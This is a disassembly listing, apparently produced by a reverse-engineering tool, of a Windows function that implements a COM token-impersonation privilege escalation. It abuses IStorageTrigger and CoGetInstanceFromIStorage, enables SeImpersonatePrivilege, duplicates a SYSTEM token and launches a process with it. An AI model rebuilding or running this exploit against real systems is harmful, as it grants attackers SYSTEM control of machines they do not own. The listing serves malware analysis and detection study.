Function at 0x140002af0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x360]
sub rsp, 0x460
mov rax, qword [0x140029008]
xor rax, rsp
mov qword [rbp + 0x350], rax
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
lea rdx, str.CreateProcessWithTokenW
mov rcx, rax
call fcn.140002a40
mov r14, rax
lea rdx, str.CreateProcessAsUserW
mov rcx, rbx
call fcn.140002a40
mov r15, rax
mov ecx, 0x30
call fcn.140003878
mov rsi, rax
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov qword [rax + 0x18], 0xffffffffffffffff
mov qword [rax + 0x20], 0xffffffffffffffff
mov qword [rax + 0x28], 0xffffffffffffffff
mov ecx, 0xc0
call fcn.140003878
mov rdi, rax
mov qword [rbp + 0x10], rax
xor edx, edx
mov r8d, 0xc0
mov rcx, rax
call fcn.140006970
mov edx, 2
mov rcx, rdi
call fcn.140005034
nop
lea rbx, [rdi + 0x50]
mov qword [rbp + 8], rbx
xor r12d, r12d
mov qword [rbx], r12
mov qword [rbx + 8], r12
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], r12
mov qword [rbx + 0x20], r12
lea ecx, [r12 + 0x10]
call fcn.140003878
mov qword [rax + 8], r12
mov qword [rbx], rax
mov qword [rax], rbx
lea rcx, [rdi + 0x78]
call fcn.140005154
nop
mov qword [rsi], rdi
mov ecx, 0xc0
call fcn.140003878
mov rdi, rax
mov qword [rbp + 0x10], rax
xor edx, edx
mov r8d, 0xc0
mov rcx, rax
call fcn.140006970
lea edx, [r12 + 2]
mov rcx, rdi
call fcn.140005034
nop
lea rbx, [rdi + 0x50]
mov qword [rbp + 8], rbx
mov qword [rbx], r12
mov qword [rbx + 8], r12
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], r12
mov qword [rbx + 0x20], r12
lea ecx, [r12 + 0x10]
call fcn.140003878
mov qword [rax + 8], r12
mov qword [rbx], rax
mov qword [rax], rbx
lea rcx, [rdi + 0x78]
call fcn.140005154
nop
mov qword [rsi + 8], rdi
mov dword [0x14002b2c4], r12d
lea ecx, [r12 + 0x60]
call fcn.140003878
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
mov dword [rax + 8], 0xffffffff
mov qword [rsi + 0x10], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r12d
mov r9, rsi
lea r8, [0x1400017f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x14002b2f0], r12d
jne 0x140002cef
mov r8, qword [0x14002b308]
mov rdx, qword [0x14002b310]
lea rcx, str.Testing__S__S_n
call fcn.140001590
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r12d
mov r9, rsi
lea r8, [0x1400017e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x78], r12
lea r8, [rsp + 0x78]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateILockBytesOnHGlobal]
lea r9, [rsp + 0x68]
xor r8d, r8d
mov edx, 0x1012
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ole32.dll_StgCreateDocfileOnILockBytes]
mov ecx, 0x20
call fcn.140003878
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
mov rcx, qword [rsp + 0x68]
lea rdx, vtable.IStorageTrigger.1.0
mov qword [rax], rdx
lea rbx, [rax + 8]
lea rdx, vtable.IStorageTrigger.0
mov qword [rbx], rdx
mov qword [rax + 0x10], rcx
mov dword [rax + 0x18], 1
lea rdx, [rbp + 0x18]
mov rcx, qword [0x14002b310]
call qword [sym.imp.ole32.dll_CLSIDFromString]
lea rdx, [rbp + 0x28]
lea rcx, str.00000000_0000_0000_C000_000000000046
call qword [sym.imp.ole32.dll_CLSIDFromString]
lea rax, [rbp + 0x28]
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], r12
mov dword [rbp + 0x48], r12d
lea rax, [rbp + 0x38]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rbx
mov r9d, 4
xor r8d, r8d
lea rdx, [rbp + 0x18]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoGetInstanceFromIStorage]
mov ecx, 1
call fcn.14000a974
mov rcx, rax
call fcn.14000d48c
lea r13, str.winsta0default
nop word [rax + rax]
mov rax, qword [rsi + 0x10]
mov edx, dword [rax + 8]
cmp edx, 0xffffffff
je 0x140002e10
cmp dword [0x14002b2f0], 0
jne 0x140002e31
lea rcx, str._n___authresult__d_n
call fcn.140001590
mov ecx, 1
call fcn.14000a974
mov rcx, rax
call fcn.14000d48c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x80]
mov edx, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000332b
mov rbx, qword [rbp - 0x80]
lea r8, [rbp + 8]
lea rdx, str.SeImpersonatePrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x140002e87
lea rcx, str.Priv_Lookup_FALSE_n
jmp 0x140002ec7
mov dword [rbp + 0x18], 1
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1c], rax
mov dword [rbp + 0x24], 2
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x18]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140002ecc
lea rcx, str.Priv_Adjust_FALSE_n
call fcn.140001590
mov rbx, qword [rbp - 0x80]
lea r8, [rbp + 0x10]
lea rdx, str.SeAssignPrimaryTokenPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x140002ef0
lea rcx, str.Priv_Lookup_FALSE_n
jmp 0x140002f30
mov dword [rbp + 0x28], 1
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2c], rax
mov dword [rbp + 0x34], 2
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x28]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140002f35
lea rcx, str.Priv_Adjust_FALSE_n
call fcn.140001590
mov dword [rbp], r12d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x78]
mov edx, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rsi + 0x10]
lea rdx, [0x14002b2e8]
mov rcx, qword [rcx]
call qword [sym.imp.Secur32.dll_QuerySecurityContextToken]
mov rdi, qword [0x14002b2e8]
mov dword [rsp + 0x60], r12d
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov eax, dword [rsp + 0x60]
test eax, eax
je 0x140003063
mov ecx, eax
call fcn.14000a84c
mov rbx, rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x60]
mov r8, rbx
mov edx, 1
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov rcx, qword [rbx]
call qword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov dword [rsp + 0x60], eax
mov ecx, eax
call fcn.14000a84c
mov rdi, rax
mov r8, qword [rbx]
mov rdx, rax
mov ecx, dword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_CopySid]
mov dword [rsp + 0x68], 0x3f
mov dword [rbp + 4], 0x3f
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 4]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x68]
lea r8, [rbp + 0x50]
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupAccountSidW]
mov rcx, rdi
call fcn.14000a838
lea r9, [rbp + 0x50]
lea r8, [rbp + 0xd0]
mov rdx, qword [0x14002b310]
lea rcx, str._S__S_S_n
call fcn.140001590
lea rdx, str.SYSTEM
lea rcx, [rbp + 0x50]
call fcn.14000cf98
cmp dword [0x14002b2f0], 0
jne 0x140003324
lea rax, [rbp]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x70]
lea edx, [r9 + 4]
mov rcx, qword [0x14002b2e8]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
cmp dword [rbp], 0
jne 0x1400030af
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_getting_token_type:_error_code_0x_lx_n
call fcn.140001590
lea rax, [0x14002b2e0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
mov r9d, 2
xor r8d, r8d
mov edx, 0xf01ff
mov rcx, qword [0x14002b2e8]
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
mov ebx, eax
lea rax, [rbp]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x70]
lea edx, [r9 + 4]
mov rcx, qword [0x14002b2e0]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
cmp dword [rbp], 0
jne 0x14000311f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_getting_token_type:_error_code_0x_lx_n
call fcn.140001590
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rax
movups xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], rax
mov dword [rbp - 0x70], 0x68
mov qword [rbp - 0x60], r13
call qword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
mov ecx, 1
call fcn.14000a974
mov rcx, rax
call fcn.14000d48c
mov r10, qword [0x14002b2c8]
mov rax, r10
lea rdx, [rbp + 0x150]
sub rdx, r10
nop
movzx ecx, word [rax]
mov word [rdx + rax], cx
lea rax, [rax + 2]
test cx, cx
jne 0x140003180
cmp qword [0x14002b2d0], 0
je 0x1400031df
mov r8d, 1
lea rdx, [0x1400255d0]
lea rcx, [rbp + 0x150]
call fcn.14000ce74
mov rdx, qword [0x14002b2d0]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], 0
jne 0x1400031c1
lea rcx, [rbp + 0x150]
call fcn.14000ce74
mov r10, qword [0x14002b2c8]
mov rax, qword [0x14002b2d8]
movzx ecx, word [rax]
cmp cx, 0x74
je 0x1400031f5
cmp cx, 0x2a
jne 0x140003258
lea rax, [rbp + 0x38]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
lea r9, [rbp + 0x150]
mov r8, r10
xor edx, edx
mov rcx, qword [0x14002b2e0]
call r14
mov ebx, eax
test eax, eax
jne 0x140003314
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n____CreateProcessWithTokenW_Failed_to_create_proc:__d_n
call fcn.140001590
mov r10, qword [0x14002b2c8]
mov rax, qword [0x14002b2d8]
movzx ecx, word [rax]
cmp cx, 0x75
je 0x14000329d
cmp cx, 0x2a
je 0x14000329d
test ebx, ebx
je 0x140003320
lea rcx, str.Waiting_for_auth...
call fcn.140001590
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call fcn.14000a974
mov rcx, rax
call fcn.14000d48c
jmp 0x140002e10
lea rax, [rbp + 0x38]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
lea rax, [0x140025638]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp + 0x150]
mov rdx, r10
mov rcx, qword [0x14002b2e0]
call r15
mov ebx, eax
test eax, eax
jne 0x140003304
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n____CreateProcessAsUser_Failed_to_create_proc:__d_n
call fcn.140001590
mov eax, ebx
jmp 0x14000332d
lea rcx, str._n___CreateProcessAsUser_OK_n
call fcn.140001590
mov eax, ebx
jmp 0x14000332d
lea rcx, str._n___CreateProcessWithTokenW_OK_n
call fcn.140001590
mov eax, ebx
jmp 0x14000332d
mov eax, 1
jmp 0x14000332d
xor eax, eax
mov rcx, qword [rbp + 0x350]
xor rcx, rsp
call fcn.1400036b0
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret